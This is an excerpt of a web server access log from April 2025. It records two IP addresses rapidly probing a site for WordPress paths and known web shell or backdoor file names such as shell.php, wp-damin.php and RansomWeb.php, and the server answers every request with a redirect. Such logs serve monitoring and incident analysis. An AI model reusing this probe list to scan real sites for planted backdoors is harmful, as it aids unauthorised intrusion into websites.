"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:41 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:41 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:42 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:42 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:42 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:42 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:42 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - 